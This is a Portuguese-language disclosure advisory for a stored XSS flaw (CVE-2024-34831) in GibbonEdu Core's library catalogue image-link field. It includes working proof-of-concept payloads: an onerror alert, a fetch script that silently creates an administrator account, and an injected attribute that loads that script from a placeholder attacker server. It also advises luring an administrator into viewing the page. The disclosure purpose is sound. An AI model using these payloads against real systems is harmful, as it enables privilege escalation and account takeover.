CVE-2024-34831 Vulnerabilidade XSS no GibbonEdu Core v26.0.00 levando à Escalada de Privilégios

Gibbon é um fantástico sistema de gestão escolar completo e de código aberto. Muito esforço está sendo feito para reformular a base de código bastante antiga.

Autor: Christian Bajada

1. Vulnerabilidade

O parâmetro imageLink ao editar/enviar novos livros (/modules/Library/library_manage_catalog_editProcess.php) é vulnerável a XSS. Usuários com a permissão Manage Catalog podem explorar essa vulnerabilidade, fazendo com que scripts arbitrários sejam executados para usuários com permissões de nível superior e elevando privilégios.

2. PoC Cenário Simples

1. Navegue até Learn > Library > Manage Catalog
2. Edite um dos itens do livro.
3. O campo Image Link não é devidamente sanitizado e nos permite executar JavaScript arbitrário. Modifique o Image Link para [http://x](http://x/)" onerror='alert(1)' e o código do alerta será executado no carregamento da página ao carregar a página da biblioteca:

3. PoC para Escalada de Privilégios

Esta seção explica como essa vulnerabilidade pode ser usada para algo mais perigoso do que um simples popup de alerta (1). Vamos enganar um administrador com sessão iniciada para que crie, sem dar por isso, outro administrador, acessível pelo atacante.

O campo imageLink é pequeno demais para nos permitir invocar qualquer funcionalidade significativa na Plataforma Gibbon. O que podemos fazer é simplesmente hospedar o JavaScript em outro local e fazer com que ele seja baixado e executado pelo navegador. A falta de CSP torna isso possível.

1. O usuário malicioso cria o payload para criar um usuário administrador da seguinte forma e o coloca em um local publicamente acessível, ex.: https://<yourserver.com>/payload.js. O código abaixo, se executado por um administrador, criará um usuário administrativo chamado hexthecat. O código invoca a função no Gibbon Core para criar um novo usuário juntamente com todos os parâmetros necessários.

fetch('./modules/User%20Admin/user_manage_addProcess.php', { method: 'POST', body: new URLSearchParams({ title: 'Mr.', surname: 'Cat', firstName: 'Hex', preferredName: 'Hex', 'officialName' : 'Hex', gender: 'M', dob: '01/04/2024', gibbonRoleIDPrimary: '001', username: 'hexthecat', passwordNew: 'Hexed001', passwordConfirm: 'Hexed001', status: 'full', canLogin: 'Y', passwordForceReset: 'Y' }) });

2. O usuário malicioso com permissão Manage Catalog insere o seguinte imageLink para um livro (mantendo o original e adicionando a parte de carregamento do script):

http://books.google.com/books?id=SluXuAAACAAJ&printsec=frontcover&img=1&zoom=1&source=gbs_api" onmouseover="$.getScript('https://<yourserver.com>/payload.js')"

3. O administrador navega pela biblioteca.

Você precisa esperar até que o administrador navegue até o catálogo da biblioteca ou convencê-lo via mensagem instantânea, e-mail ou qualquer outro canal.

O ato de passar o mouse (onmouseover) sobre a imagem do livro fará com que o payload seja obtido do local (neste caso <yourserver.com>) e executado. Isso resulta na criação de um usuário administrador que o usuário malicioso agora pode acessar. O listener 'onerror' também pode ser usado para fazer o payload ser executado imediatamente em vez de precisar passar o mouse sobre a imagem.

Você pode verificar o usuário criado no menu ADMIN > User Admin

4. Divulgação Responsável

Publicado de acordo com as diretrizes de divulgação responsável https://github.com/GibbonEdu/core/security.

• 06 de maio de 2024: Vulnerabilidade reportada e reconhecida pelo mantenedor do GibbonEdu.
• 15 de maio de 2024: Número CVE atribuído pela MITRE.
• 10 de setembro de 2024: Aviso publicado.